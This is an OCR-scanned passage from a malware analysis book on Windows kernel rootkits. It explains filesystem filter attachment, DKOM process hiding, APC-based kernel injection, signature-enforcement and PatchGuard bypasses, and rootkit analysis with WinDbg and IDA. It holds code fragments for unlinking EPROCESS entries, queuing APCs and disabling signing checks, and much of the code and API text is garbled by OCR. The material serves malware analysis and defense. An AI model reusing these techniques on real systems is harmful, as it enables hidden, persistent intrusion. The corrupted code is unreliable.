receive filesystem requests), it needs to get the device object for that named
device. There are multiple ways to do this, and one of them is to use the
undocumented obreferenceobjectsynane API. Once the device object is found, the
rootkit can use the 1oattachpevicetobevicestack API to attach to its chain of drivers
and receive the IRP requests that are sent to it. The code for this could be as
follows:

RtlInitUnicodeString(&DestinationString, L"\\Filesystem\\FastFat");
Status = (*ObReferenceCObjectByName) (&DestinationString,0x40,0,0,*IoDriverCbjectType,(,0, (PVOID) &FileSystemOb]) ;
if [Status!=STATUS_SUCCEBS)
{
return;

}:
TargetDevice = ((ReferencedObject*)FileSystemObj)->DeviceCbject;
if (IoAttachDeviceToDeviceStack(SourceDevice,TargetDevice) = STATUS SUCCESS)

{

return TRUE;

bi
Figure 12: Attaching to the FastFat filesystem

After executing the 1oattachpeviceTopevicestack API, the driver will be added to the
top of the chain, which means that the rootkit driver will be the first driver to
receive the IRP requests. Then, it can pass requests along to the next driver using
the rocaiioriver API. Additionally, the rootkit would be the last driver to modify
the response of the IRP request after setting a completion routine.



Modifying the IRP response and
setting a completion routine

A completion routine specifies that more processing is required for the output of
that request. For a rootkit, completion routines allow you to modify the output of
the request; for example, deleting a filename from a list of files in a specific
directory. Setting up a completion routine requires you to first copy the request
parameters to the lower driver in the chain. To copy these parameters to the next
driver's stack, the rootkit can use the 1ocopycurrentirpstackLocationTonext API.

Once all the parameters are copied for the next driver, malware can set the
completion routine using rosetcompletionroutine, and then pass this request to the
next driver using rocaiioriver. An example from MSDN is as follows:

IoCopyCurrentIrpStackLocationToNext( Irp );
IoSetCompletionRoutine( Irp, // Irp
MyLegacyFilterPassThroughCompletion, // CompletionRoutine
NULL, // Context
TRUE, // InvokeOnSuccess
TRUE, // InvokeOnError
TRUE); // InvokeOnCancel
return IoCallDriver ( NextLowerDriverDeviceObject, Irp );

Once the last driver in the chain executes the 1ocompleterequest API, the
completion routines will be executed one by one, starting from the lowest
driver's completion routine to the highest. If the rootkit is the last driver attached
to this device, it will have its completion routine executed last.



DKOM

DKOM is one of the most common techniques used by rootkits for hiding
malicious user-mode processes. This technique relies on how the OS represents
processes and threads. In order to understand this technique, you need to learn
more about the objects that are being manipulated by the rootkit: EPROCESS
and ETHREAD.



The kernel objects—EPROCESS and
ETHREAD

Windows creates an object called eprocess for each process that's created in the
system. This object includes all the important information about this process,
such as Virtual Address Descriptors (VADs), which stores the map of this
process's virtual memory and its representation in physical memory. It also
includes the process ID, the parent process ID, and a doubly-linked list called
ActiveprocessLinks, Which connects all errocess objects of all processes together.
Each eprocess includes an address to the next eprocess object (which represents the
next process) called rLink and the address to the previous eprocess object (which is
associated with the previous process) called sLink. Both addresses are stored in

ActiveProcessLinks:.

+InaD0D Pch : _KPROCESS

+lelGc Processlock : _EX_PUSH_LOCK
+InalTD CreateTime . _LARGE_INTEGER
+InolTE ExitTime . _LARGE_INTEGER
+0eD80 RundownProtect : _EX_RUMDOWN_REF

+HlpcDB4 UniqueProcessld : Pird2 Void

+IneDBE ActiveProcesslinks : _LIST_ENTRY
+0oel30 Quotallsage : [2] Uint4B

+lnelBc QuotaPesk : [2] Uint4B

+lreDal CommitCharge : Uint4B

+lolac PeakVirtualSze : UintdB

+IecDbD VirtualSize : Uint4B

+IneDb4 SessionProcesslinks | _LIST_ENTRY
+lrelbc DebugPort : Pr32 Void

+lneDcD ExceptionPort  : Ptr32 Void

+Inelcd ObjectTable : Ptr32 _HAMDLE_TABLE
+InolcE Token 1 _EX_FAST_REF
+lreDoe WorkingSetlock : _FAST_MUTEX
+lelec WorkingSetPage : Uintd4B

+neDfD AddressCreationlock | _FAST_MUTEX
+Ie 110 HyperSpacelock : Uintd4B

+Ie114 ForkinProgress : P32 _ETHREAD
+Ie118 HardwareTrigger : Uint4B

+Ie11c VadRoot : Ptr3Z Void
+Ie 120 VadHint : Pr3Z Void
+Ie124 CloneRoot : Pr3Z Void

+Ie 128 NumberDfPrivatePages : Uint4B

Figure 13: The eprocess structure

The exact structure of errocess changes from one version of OS to another. That
is, some fields get added, some get removed, and, sometimes, rearrangements
happen. Rootkits have to keep up with these changes if they want to manipulate
these structures.



Before we dive into the object manipulation strategies, there's another object that
you need to know about: etHreap. eTHreap, and its core, ktreap, includes all the
information related to a specific thread, including its context, status, and an
address of the corresponding process object (eprocess):

+HnolD Teh : _KTHREAD

+I1cd CreateTime . _LARGE_INTEGER
+1cd NestedFauhtCount | Pos O, 2 Bits
+e1cd ApcMesded : Pos 2, 1 Bit
+i1cE ExitTime : _LARGE_INTEGER

+lxicE LpcRephyChain . _LIST_ENTRY

+ixicE KeyedWaitChain : _LIST_ENTRY

+lp 100 ExitStatus . Int4B

+ine1dd OfsChain : PrrdZ Vioud

+xid4 PostBlocklist : _LIST_ENTRY

+lxidoc TerminationPort ;. Ptrd2 _TERMINATION_PORT
+¢1dc Reaperlink : P32 _ETHREALD

+ixide KeyedWaitValue : Ptrd2 Void

+lc1ed ActiveTimerListlock : Uint4B

+lied ActiveTimerListHead : _LIST_ENTRY
+hlec Cid : _CLIENT_ID

+0x1f4 LpcReplySemaphore :  KSEMAPHORE

+lo 14 KeyedWaitSemaphore | _KSEMAFHORE
+e20E8 LpcRephyMessage | Ptrd2 Void

+o208 LpcWatingOnPort ; Pird2 Void

+Hine0c Impersonationinfoe | PudZ _PS_IMPERSOMATION_INFORMATION
+0ne2 10 Irplist : _LIST_ENTRY

+Ie218 Toplevellrp : Uint4B

+heZ1c DeviceToVenfy : Pord2 DEVICE_OBJECT
+iZ20 ThreadsProcess | Ptrd2 _EPROCESS

+leZ 24 StartAddress | Ptrd2 Voud

+HleZ 28 WindZ2StartAddress | PirdZ Void

Figure 14: The ktHreap structure (which is the core of ETHrReAD)

When Windows switches between threads, it follows the links between them in
the ethreap structure (that is, the linked list that connects all etireap objects). From
this object, it loads the thread's process (following its eprocess address) and then
loads the thread context in order to execute it. This process of loading each
thread is not directly connected to the linked list that connects all processes
together (particularly, their eprocess representations), and this is what makes the
DKOM so effective.



How do rootkits perform an object
manipulation attack?

For a rootkit to hide a process, it is enough to modify the activeprocessLink in the
previous and the following eprocess objects to skip the eprocess of the process it
wants to hide. The steps are simple and are given as follows:

1. Get the current pFOCESS'S EPROCESS using the PsLookupProcessByProcessId API.

2. Follow the activeprocessLinks to find the eprrocess of the process that you want
to hide.

3. Change the rLink of the previous eprocess so that it doesn't point to this
eprocess but to the next one instead.

4. Change the sLink of the next process so that it doesn't point to this
eprocess but to the previous one instead.

The challenging part in this process is to reliably find the activeprocessLinks with
all the changes that Windows introduces from one version to another. There are
multiple techniques in dealing with the offset of activeprocessLinks (and the
process ID as well), which are as follows:

1. Get the OS version and, based on this version, choose the right offset from
the precalculated offsets for each version of the OS.

2. Search for the process ID (you can get it from pscetcurrentprocessid) and find
the activeprocessLinks offset from the process ID.

Here is an example of the second technique:



f)k

Go through the EPROCESS structure and lock for the PID
we can start at 8x2@ because UniqueProcessId should
not be in the first @x2@ bytes,

also we should stop after 8x380 bytes with no success

bird

for (int i = Ox20; i<0x300; i += 4)

{
if ((*(ULONG *)((UCHAR *)eprocs[®] + i) == pids[@])
&& (*(ULONG *)((UCHAR *)eprocs[1] + i) == pids[1])
&& (*(ULONG *)((UCHAR *)eprocs[2] + i) == pids[2]))
{
pid_ofs = i;
break;
}
}

Figure 15: Finding the process ID from the EPROCESS object

Once the rootkit is able to find the process ID (pids) inside the errocess object
(epocs), it can use the offset between activeprocessLinks and the process ID (this is
usually precalculated and is the next field in the structure). The last step is to
remove the links between the processes, as demonstrated in the following
screenshot:



void remove links(PLIST _ENTRY Current) {
PLIST ENTRY Previous, Next;

Previous = (Current-»>Blink);

Next = (Current->Flink);

// Loop over self (connect previous with next)
Previous-»>Flink = Next;

Mext-»>Blink = Previous;

// Re-write the current LIST _ENTRY to point to itself (avoiding BSOD)
Current-»Blink = (PLIST_ENTRY)&Current-»Flink;
Current-»*Flink = (PLIST_ENTRY)&Current-»Flink;

return;

Figure 16: Removing the process links to perform a DKOM attack

The most popular detection technique for DKOM attacks is to loop through all
the running threads and follow their link to the eprocess, before comparing the
results with by following the activeprocesstinks. If there's a missing eprocess object
in the activeprocessLink that appeared as an eprocess for an active thread, it implies
that a DKOM attack is performed by a rootkit to hide this process and its errocess
object.



Process injection in kernel mode

Process injection in kernel mode is a popular technique used by multiple
malware families, including Stuxnet (with its MRxCls rootkit), to create another
way of maintaining persistence and for disguising malware activities under a
legitimate process name. For a device driver to be able to read and write memory
inside a process, it needs to attach itself to this process's memory space.

Once the driver is attached to this process's memory space, it can see this
process's virtual memory, and it becomes possible to read and write directly to it.
For example, if the process executable's ImageBase is exeese00000, then the driver
can access it normally, as follows:

CMP WORD PTR [00400000h], 'ZM'
JNZ <not_mz>

For a driver to be able to attach to the process memory, it needs to get

1tS EPROCESS using the psLookupProcessByProcesstd API and then use the
kestackattachprocess API to attach to this process's memory space. In disassembly,
the code will be as follows:



Lext:00011F02 GetProcess proc near : CODE XREF: AttachProcess+11%p

Lext:00011F 02 ; GetProcessInfo+16tp
Lext:00011F02

Lext:00011F62 Processid = dword ptr 8

text:00011F02

Lext:00011F 02 push  ebp

text:00011F 03 nov ebp, esp

Lext: 0001105 push  esi

text:00011F 66 lea esi, [ebx+h]

Ltext:00011F 09 and dword ptr [esi], ©
Lext:00011F0C cmp dword ptr [edi], 0
text:00011FOF nov byte ptr [ebx], @
Lext:00011F12 jnz short loc 11F33

Lext: 0001114 push  esi

Lext:00011F15 push  [ebp+Processid]
Lext:00011F18 call  ds:PsLookupProcessByProcessId
Ltext:00011F1E test  eax, eax

Lext:00011F20 nov [edi], eax

Lext:00011F22 jnz short loc 11F33
Lext:00011F24 cmp  [esi], eax

Lext:00011F26 jnz short loc 11F38
Ltext:00011F28 nov dword ptr [edi], OCOOB6801
Lext:00011F2E jnp short loc 11F33

LexABIRAD | ~~rmrrmmm e e
text:00011F30

Lext:00011F30 loc 11F30: ; CODE XREF: GetProcess+24ty
Lext:00811F30 nov byte ptr [ebx], 1

Lext:00011F33

Lext:00011F33 loc 11F33: ; CODE XREF: GetProcess+16ty
Lext:00011F33 ; GetProcess+26tj ...
Ltext:00011F33 mov pax, eby

Lext:00011F35 pop  esi

Ltext:00011F 36 pop ebp

Lext:00011F37 retn 4

Lext:00011F37 GetProcess endp
Lext:00011F37
Lext:00011F3A



Figure 17: Getting the EPROCESS object using its process ID (from the Stuxnet rootkit, MRxCls)

Then, for attaching to that process's memory space, the code will be as follows:



Lext:06011D3C ; int _ stdcall AttachProcess(int Buffer, int Processld)

Lext:00011D3C AttachProcess  proc near ; CODE XREF: AttachProcessFunc+
Lext:00811D3C | ; sub_114CA+26%p
Lext:08611D3C

Ltext:8881103C Buffer = dword ptr 8

Ltext:0881103C Processid = duword ptr ACh

Lext:00811D3C

text:0001103c push  ebp

Lext:8e811030 Moy ebp, esp

Ltext:oeg1103F push  ebx

Lext: 08011048 push  edi

Jtext:aee11041 push  [ebp+ProcessId] ; Processld
JLext: 80011044 Moy edi, [ebptBuffer]

Lext: 00011047 lea ebx, [esi+h]

Lext:oe811044 Moy byte ptr [esi], @

Ltext:0001104D tall  GetProcess

Ltext:oea11052 push 6

text: 6611054 lea edx, [esi+iCh]

Jtext:oeg11057 pop PLX

Ltext:00011058 p{ilg pay¥, eay

text 00011054 Moy pdi, edx

Ltext:aea1105C rep stosd

text:Be81105¢E Moy eax, [ebp+Buffer]

Jtext:o8e110o1 cp dvord ptr [eax], @

text: 00011064 pop  edi

Lext: 00011065 pop eby

Lext: 00011066 jnz short loc 11075

Lext: 8811068 push  edy ; Apcstate
Lext: 08811069 push  dword ptr [esit8] ; Process
Ltext: 00011060 call  ds:KeStackAttachProcess ; KeStackAttachProcess
Ltext:a8811072 mov byte ptr [esi], 1

text: 00811075

Lext: 00011075 loc 11D75: ; CODE XREF: AttachProcess+26t;
text 00011075 Moy pax, esi

LAext:oeg11077 pop ebp

text: 00011078 retn 8§

Ltext:B8811078 AttachProcess endp



Figure 18: Attaching to the process's memory space

Once the driver is attached, it can read and write to its memory space and
allocate memory using the zwallocatevirtualmemory API, providing the process
handle using the zwopenprocess API (which is equivalent to openprocess in user
mode).

For a driver to detach from the process memory, it can execute
the keunstackpetachProcess }XITL as follows:

| KeUnstackDetachProcess(APCState);

There are other techniques as well, but this technique is the most common way
for any driver to easily access the virtual memory of any process as its own
memory. Now, let's take a look at how it can execute code inside that process.



Executing the inject code using APC
queuing

Asynchronous Procedure Call (APC) is a function that gets executed
asynchronously in the context of another thread. When a thread enters an
alertable state (that is, when it executes

the SleepEx, SignalObjectAndwait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx,
or waitrorsingleobjectex APIs) and before it gets resumed, all the queued user-
mode APC functions and kernel-mode APC functions is executed in the context
of that thread, allowing the malware to execute user-mode code inside that
process before returning control back to it.

For a malware sample to queue an APC function, it needs to perform the
following steps:

1. Get the etireap object of the thread it wants to queue and the APC function
by providing its Thread ID (TID). This can be done by using
the psLookupThreadByThreadrd API.

2. Attach the user-mode function to this thread using the keinitializeapc APIL.

3. Add this function to the queue of the APC functions to be executed in this
thread using the kernsertqueueapc API, as demonstrated in the following
screenshot:



BOOLEAN ProcessDevice::Execute (DWORD Entrypoint, PVOID Context)

{

NTSTATUS ntStatus;

PKAPC pkafpc;

PETHREAD PEThread;
UNICODE_STRING routineMame;

if (Tid == NULL || Entrypoint == NULL)return FALSE;
ntStatus = PslLookupThreadByThreadId({HANDLE)Tid,&PEThread);
if(ntStatus != STATUS SUCCESS)

{
DbgPrint("PsLookupThreadByThreadId failed™);

return FALSE;

RtlInitUnicodeString(&routineName, L"KeInitializeapc™);
KeInitializeApc =(INITIALIZE APC)MmGetSystemRoutineAddress(&routineName);

RtlInitUnicodeString(&routineName, L"KeInsertQueuelpc™);
KeInsertQueusApc ={INSERTQUEUE_APC)MmGetSystemRoutineAddress(&routineName);

if (KeImitializeApc == NULL || KeInsertQueueApc == NULL)

{
DbgPrint("Getting APC Functions Address Failed");
return FALSE;

pkaApc= (PKAPC)malloc(sizeof (KAPC));
if(pkaapc!=0)

1
KeInitializeApc({pkaApc,PEThread,®,ApcKernelRoutine, @, (PKNORMAL_ROUTIME)Entrypoint,UserMode,Context);

KeInsertQueueApc(pkalpc,@,8,I0 NO_INCREMENT);
return TRUE;

return FALSE;

Figure 19: APC queuing to execute a user-mode function (from the winSRDF project)

In this example, the kernitializeapc API will execute a kernel-mode function
(Apckernelroutine) and a user-mode function (entrypoint) once the thread returns
from its alertable state.

If the thread didn't execute any of the previously mentioned APIs and never
enters an alertable state until it is terminated, none of the queued APC functions
will be executed. Therefore, some malware families tend to attach their APC
thread to multiple running threads in the application.

Other rootkits, such as MRxCls (from Stuxnet), modify the entrypoint of the



application before it gets executed. This allows the malicious code to be
executed in the context of the main thread before the application actually runs
and without using any APC queuing functionality.



KPP in x64 systems (PatchGuard)

In x64 systems, Microsoft has introduced new protection against kernel-mode
hooking and patching called KPP, or PatchGuard. This protection disables any
patching of the SSDT, the IDT, the Global Descriptor Table (GDT), and the
core kernel code. It doesn't allow the usage of kernel stacks beyond what was
allocated by the kernel itself.

Additionally, Microsoft allows only signed drivers to be loaded in the x64
systems, except for situations when the system is running in test mode or driver
signature enforcement is disabled.

KPP received lots of criticism from antivirus and firewall vendors when it was
first introduced because SSDT hooking and other hooking types were heavily
used in multiple security products. Microsoft has created a new API to help
antivirus products replace their hooking methods.

Although multiple ways of bypassing PatchGuard have been documented, for
the last several years, Microsoft has released only a few major updates to deal
with these techniques. Therefore, the PatchGuard code is changing its position in
the kernel mode from one update to another, making it a moving target and
breaking all the previous malware families that had been able to bypass it in the
previous versions.

Now, we will take a look at different bypassing techniques that were introduced
in some of the previous malware families.



Bypassing driver signature
enforcement

Apart from the ability to use stolen certificates to sign the malicious driver (an
example of this could be Stuxnet drivers), it's also possible to disable the driver
signature enforcement option using the Command Prompt, as follows:

|bcdedit.exe /set testsigning on

In this case, the system will start allowing drivers to be signed with certificates
that are not issued by Microsoft. This command requires administrator privileges
and the machine to be restarted afterwards. However, with the help of social
engineering, it's possible to trick the user into making it. Another option that
used to be available was to execute the bcdedit /set nointegritychecks on cOmmand,
but, currently, this option is ignored on major modern versions of Windows.

Additionally, some malware families abuse vulnerable signed drivers of
legitimate products, which either have code execution vulnerabilities or
vulnerabilities that allow for the modification of arbitrary memory locations
inside the kernel. An example of this is Turla malware (which is believed to be a
state-sponsored APT malware). This loads a VirtualBox driver and uses it to
amend the g_cienabied kernel variable and, by doing so, disable driver signature
enforcement on-the-fly (without the need to restart the system).



Bypassing PatchGuard—the Turla
example

Turla was also able to bypass PatchGuard by disabling its ability to show the
blue screen of death when the system integrity check fails. After PatchGuard
detects the unauthorized patching of the system kernel or its important tables
(that is, SSDT, IDT, or GDT), it calls the kesugcheckex API to show the blue screen
of death. Turla malware hooks this API and continues the execution normally.

A later version of PatchGuard was cloning this API on-the-fly to ensure that the
verification will be enforced and cause the system to shut down. However, Turla
was able to hook an early subroutine in the kesugcheckex API to make sure it was
able to resume the execution of the system normally after the integrity check
failed. The following code is a snippet of the kesugcheckex API:

mov gword ptr [rsp+8],rcx
mov gword ptr [rsp+10h], rdx
mov gword ptr [rsp+18h],r8
mov gword ptr [rsp+20h],r9
pushfq

sub rsp, 30h

cli

mov rcx,qword ptr gs:[20h]
add rcx,126h

call nt!RtlCaptureContext

As you can see, it executes a function called rticapturecontext, which is what Turla
malware decided to hook to bypass this update.



Bypassing PatchGuard—GhostHook

This technique was introduced by the CyberArk research team in 2017. It abuses
a new feature that was introduced by Intel called Intel Processor Trace

(Intel PT). This technology allows debugging software to trace single processes,
user-mode and kernel-mode execution, or perform instruction pointer tracing.
This Intel PT technology was designed for performance monitoring, diagnostic
code coverage, debugging, fuzzing, malware analysis, and exploit detection.

Intel processors and their Performance Monitoring Unit (PMU) capture some
information about the process' performance, store them in packets, and deliver
these packets to the debug software in a preallocated memory buffer. When this
buffer gets full or almost full, the CPU executes a callback routine to handle the
memory space issue. This callback function (that is, the PMI handler) is a
function that is targeted by the malware as it gets executed in the context of the
running thread that is being monitored.

Under specific circumstances and by using a very small buffer, malware can
force the execution of its PMI handler after each sysenter call and perform
another technique of sysenter hooking without alerting the PatchGuard protection
and without the need to do API hooking.



Disabling PatchGuard using the
Command Prompt

It's also possible to disable the PatchGuard protection for debugging reasons, as
debuggers may need to set breakpoints in the OS's kernel code. Therefore, it is
possible to switch the OS to debug mode using the following command:

| bcdedit /debug ON

Then, depending on the type of interaction with the system, it is possible to
enable the method of how the debugging will be performed (via the network,
locally, and so on).

Such commands require administrative privileges to be granted and the system
to be restarted. Additionally, it is worth mentioning that this technique slows
down the OS, especially during system startup.

Now, we will take a look at how to analyze rootkits and, in particular, how to
perform the dynamic analysis of rootkits.



Static and dynamic analysis in kernel
mode

Once we know how rootkits work, it becomes possible to analyze them. The first
thing worth mentioning is that not all kernel-mode malware families hide the
presence of actual payloads. In fact, some of them can perform malicious actions
on their own as well. In this section, we will familiarize ourselves with tools that
can facilitate the rootkit analysis with an aim to understand malware
functionalities and to learn some particular usage-related nuances.



Static analysis

It always makes sense to start from static analysis, especially if the debugging
setup is not available straight away. In some cases, it is possible to perform both
static and dynamic analysis using the same tools.



Tools

Rootkit samples are usually drivers that implement the traditional mz-pe structure
with the 1mace_sussystem_native (1) value specified in the subsystem field of the
IMAGE_OPTIONAL_HEADER32 Structure. They use the usual x86 or x64 instructions that
we are already familiar with. Thus, any tool (excluding user-mode debuggers
such as OllyDbg) supporting them should handle rootkits without any major
problems. Examples of them include tools such as IDA, radare2, and many
others. Additionally, IDA plugins such as win_driver_plugin and priversuddy can be
very useful for standard operations, such as decoding the IOCTL codes involved.



Tips and tricks

Once the sample is open, the first step is to track down the oriverobject, which is
provided as the first argument of the main function (through the stack for 32-bit
systems and through the rcx register for 64-bit systems). In this way, we can
monitor whether any of the major functions are defined by malware. This object
implements the _oriver_ossect structure with a list of major functions located at
the end of it. The corresponding structure member is as follows:

|PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 17];

In assembly, they will likely be accessed by offsets and can be easily mapped by
applying this structure.

Additionally, it is worth checking whether any completion routine is specified
USiIlg the 1osetcompletionroutine API.

Then, we need to search for the presence of instructions that allow us to disable
security measures such as the previously mentioned write protection, which
involves using the cro register. In this way, it becomes possible to easily identify
the exact location in the code where this functionality is implemented.

Following this, we need to keep track of the crucial import functions we've
already discussed, which are most commonly used by rootkits and check the
corresponding argument strings to learn their purpose. Are there any where a
device attaches to it? Is there any process or filename mentioned there? Once all
these questions are answered, it becomes possible to figure out the rootkit's goal.

Finally, if import functions are resolved dynamically, it definitely makes sense to
restore them before continuing the analysis. Generally, this can be done either by
scripting or with the help of dynamic analysis.



Dynamic and behavioral analysis

The dynamic analysis of kernel-mode threats is the trickiest part here because it
is performed on a low level, and any mistake may result in a system crash.
Therefore, it is highly recommended to perform dynamic analysis on virtual
machines (VMs) so that the debugging state can be quickly restored to the
previous state. Another option is to use a separate machine that is attached using
a serial port. However, in this case, it generally takes more effort to restore the
previous debugging state.



Tools

When we talk about dynamic analysis, the main group of tools we are referring
to are debuggers. The most popular debuggers are as follows:

e WinDbg: This is an irreplaceable tool when we are talking about debugging
the kernel-mode code in Windows. Officially supported by Microsoft, this
tool features multiple commands and extensions, which aim to make the
analysis as straightforward as possible. KD debugger that is shipped
together with WinDbg is its console analog sharing the same debugging
engine. There are three groups of commands supported: regular commands,
meta-commands (the ones that start with ».»), and extension commands (the
ones that start with ). Here are some of the most common commands that
are used when performing rootkit analysis:

e -: This is used to display regular commands.

e .help: This is used to display meta-commands.

e _nh: This is used to open the documentation for the specified command.

® bp, bu, and ba: These are used to set breakpoints, including the usual
breakpoint, the unresolved breakpoint (this is activated once the
module is loaded), and the break on access.

® b1, bd, be, and bc: These are used to list, disable, enable, and clear
breakpoints, respectively.

® g, p, and t: These commands refer to go (continue execution), single
step, and single trace, respectively.

e dand u: These commands display memory and dissembled instructions,
respectively.

e ¢: This is used to enter specified values into memory (that is, edit
memory).

e 4t: This is used to parse and display the value of data types and
variables. For example, dt ntd11:_pes will display the PEB structure
with offsets, field names, and data types.

e r: This allows the display or modification of registers. Here, r eip=<val>
can be used to change the instruction pointer.

e x: This is used to list symbols matching the pattern; for example, x
ntd11:* will list all symbols from ntdi1.

e 1n: This is used to list modules; it works by displaying a list of loaded



drivers and their corresponding memory ranges.

e 1dn: This is a dump header command; it can be used to parse and
dlsplay the mz-pe header by ImageBase.

® 1process: This displays various information about the specified process,
iHCIUdng the PEB address. For example, Iprocess 0 0 lsass.exe will
display basic information about 1sass.exe, and use the flag 7 to display
full details including TEB structures.

® _process: This command sets the process context. For example, .process
/i <process> (where the <process> value can be taken from the output of
the 'process command that was previously mentioned) followed by g
and .reload /user allows you to switch to the debugging of the specified
process.

e 1peb: This parses and displays the PEB structure of the specified
process. This command is required to switch to the process context
using the .process command first.

e 1teb: This parses and displays the specified TEB structure.

e _shell: This allows you to use Windows console commands from the
Wll'lDbg For example, .shell -ci "<windbg_command>" findstr <value> will
allow you to parse the output of executed commands.

e _uritemen: This dumps memory to a file.

e IDA: While unable to debug kernel-mode code on its own, this can be used
as a frontend for WinDbg. In this way, it can allow you to store all markup
from the static analysis and debugging code at the same time.

¢ radare2: This is the same as IDA; the tool can be used on top of WinDbg
with a dedicated plugin in order to perform dynamic analysis.

e SoftICE (obsolete): This was once one of the most popular tools for
performing dynamic analysis in Windows kernel mode; the tool is currently
obsolete and doesn't support new systems.

Apart from this, there are several other kernel-mode debuggers, such
as Syser, Rasta Ring 0 Debugger (RR0OD), HyperDbg, and BugChecker, that
don't appear to be maintained anymore.



Monitors

These tools are supposed to give an insight into various objects and events
associated with kernel mode:

¢ DriverView: This is a tool developed by NirSoft; it allows you to quickly
get a list of loaded drivers and their location in memory

¢ DebugView: This is a SysInternals tool that allows you to monitor the
debugging output from both the user and kernel modes

e WinObj: This is another useful tool from SysInternals that can present a
list of various system objects relevant to kernel-mode debugging, such as
devices and drivers



Rootkit detectors

This group of tools checks for the presence of techniques commonly used by
rootkits in the system and provides detailed information. They are very useful
for behavioral analysis to confirm that the sample has been loaded properly.
Additionally, they can be used to determine the functionality of the sample
relatively quickly. Some of the most popular tools are as follows:

e GMER: This powerful tool supports multiple rootkit patterns and provides
relatively detailed technical information. It is able to search for various
hidden artifacts, such as processes, services, files, registry keys, and more.
Additionally, it features the rootkit removal tool.

¢ RootkitRevealer: This is another advanced rootkit detection tool—this
time from Sysinternals. Unlike GMER, its output is less technical and it
hasn't been updated for a while.

Other discontinued rootkit detection tools include Rootkit Unhooker,
DarkSpy, and IceSword.

Apart from these, there are multiple rootkit removal tools being developed by
antivirus vendors; however, they don't provide enough information for
performing technical analysis of the threat.



Setting up a testing environment

There are several options available for performing kernel-mode debugging:

e The debugger client is running on the target machine: An example of
such a setup is WinDbg or the KD debugger, utilizing local kernel
debugging or working together with the LiveKd tool. This approach doesn't
require an engineer to set up a remote connection, but if something goes
wrong and the system crashes, it may take some time to restore tools to
their previous state.

e The debugger client is running on the host machine: Here, the virtual, or
another physical, machine is used to execute a sample, and all debugging
tools with the result knowledge base are stored outside of it. This approach
may take slightly more time to set up, but it is generally recommended as it
will save lots of time and effort later.

e The debugger client is running on the remote machine: This setup is not
commonly used; the idea here is that the host machine is running a
debugging server that can interact with the target machine, and the engineer
connects to this server remotely from a third machine. This technique is
called remote debugging by Microsoft.

The exact way to set up a connection between host and target machines may
vary, depending on the engineer's preferences. Generally, this is done either
through a network or through cables. For VMs, it is commonly done by mapping
a serial port to the pipe; for example, if the COM1 port is being used, you would
follow these steps:

1. In VMWare, go to VM | Settings.... Then, in the Hardware tab, use the
Add... option to add a serial port. Following this, choose the Use named
pipe connection option and specify the name \\.\pipe\<any_pipe_name>. In the
remaining options, choose This end is the server and The other end is an
application, and then tick the Yield CPU on poll checkbox.

2. In VirtualBox, open VM's settings and go to the Serial Ports category. Click
on the Enable Serial Port checkbox and specify the port as COM1 and the
port mode as Host Pipe. Finally, choose to create a new pipe and specify the



piPE'S name, \\.\pipe\<any_pipe_name>/

e winxp - Settings I X
E General Serial Ports
System Portl Port2 Port3d  Portd
Display Enable Serial Port
Part Number: |COM1 ¥ IRQ: 4 | IfOPort: |0x3F3
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Figure 20: The VirtualBox setup for kernel-mode debugging over the COM port

Apart from this, in order to be able to perform kernel-mode debugging, it should
also be explicitly allowed by the target system. Perform the following steps to do
SoR

1. On a modern Windows OS, run a standard bcdedit tool as an
administrator and type the following command:



| bcdedit /debug on

2. If local kernel debugging is being used, execute the following command:

| bcdedit /dbgsettings local

3. Alternatively, if a serial port is being used, execute the following command
instead (for port com1):

| bcdedit /dbgsettings serial debugport:1 baudrate:115200

4. If you want to keep the original boot settings as well, you can create a
separate entry, as follows:

| bcdedit /copy {current} /d "<any_custom_display_name>"

5. Then, take the generated <guid> value and use it to apply the required
settings to the new entry:
bcdedit /set <guid> debug on

bcdedit /set <guid> debugport 1
bcdedit /set <guid> baudrate 115200

On an older OS, such as Windows XP, it is possible to enable kernel-mode
debugging by duplicating the default boot entry in the boot.ini file with a new
display name and adding the /debug argument. It can also be combined with
setting up a dEbUg port by addlng the /debugport=com1 /baudrate=115200 argument.
The resulting entry will be as follows:

|multi(@)disk(0)rdisk(0)partition(1)\WINDOWS="<any_custom_display_name>" /fastdetect /det

Make sure that the system location specified matches the one used in the original
entry.

After this, it is necessary to restart the machine and choose the newly added
option during the booting process. This step can also be done later, after
disabling the security checks.

If it is necessary to set up network debugging or use Hyper-V machines, always
follow the most recent official Microsoft documentation.



Setting up the debugger

Now, we can run the debugger and check that everything works as expected. If
local debugging is being used, it can be done by executing WinDbg as an
administrator using the following command line:

|windbg.exe -kl

For debugging over a serial port, it is possible to specify the port and the baud
rate using the _nt_pesuc_rorT and _nt_besue_eaup_raTe environment variables. The
corresponding command line with a pipe should look as follows:

|windbg.exe -k com:pipe, port=\\.\pipe\<pipe_name>, baud=115200, resets=0, reconnect

It is also possible to do this from the GUI using File | Kernel Debug...:
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Figure 21: Kernel-mode debugging with VirtualBox and WinDbg over port COM

Another option here is to use a separate virtualko project, which is aimed at




improving kernel debugging performance if VMWare or VirtualBox VMs are
used. Follow the official installation documentation to make sure it is working as
expected.

If IDA with WinDbg is being used, then it can be set up in the following way:

1. It is better to make sure that the correct path to WinDbg is specified in the
paTH environment variable or in the %1pax\cfg\ida.cfg file (the pseTooLs
variable).

2. For kernel-mode debugging, it is generally recommended to use the 32-bit
version of WinDbg; double-check which version is being used in IDA's
Output window.

3. Open the IDA instance, don't open any files, but select the Go quick start
option.

4. Go to Debugger | Attach | Windbg debugger and specify the following
connection string with the pipe name matching the one used in the VM:

| com:pipe, port=\\.\pipe\<pipe_name>, baud=115200, resets=0, reconnect

5. Then, in the same dialog window, go to Debug options | Set specific options
and select the Kernel mode debugging with reconnect and initial break
mode (reconnect is optional, but it should match the value specified in the
connection string).

6. Once confirmed, the following dialog window will appear:

_inix

oF Cancel Search Help

Line 1 af 1

Figure 22: The IDA attaching to the Windows kernel on a target machine

7. Press OK. The debugger will break in the kernel and the winoss command
line will become available at the bottom of the window.



8. Add the kernel mode-related type libraries (usually, they have ddk or wdk in
their names) in View | Open subviews | Type libraries (the Shift + F11
hotkey) to get access to multiple standard enums and structures.

Once we've made sure that the debugger executes successfully, it is necessary to
set up symbol information so that standard Windows names can be used in
various WinDbg commands. In order to do this, execute the following command
in the WinDbg console:

.sympath srv*<local_path_for_downloaded_symbols>*https://msdl.microsoft.com/download/syn
.reload /f

In WinDbg GUI, this can be specified in the File | Symbol File Path... menu or
using the -y command-line argument. Additionally, it is possible to set it in
the nT_symeoL_paTh environment variable.

If the target and host machines don't have internet access, then symbols can also
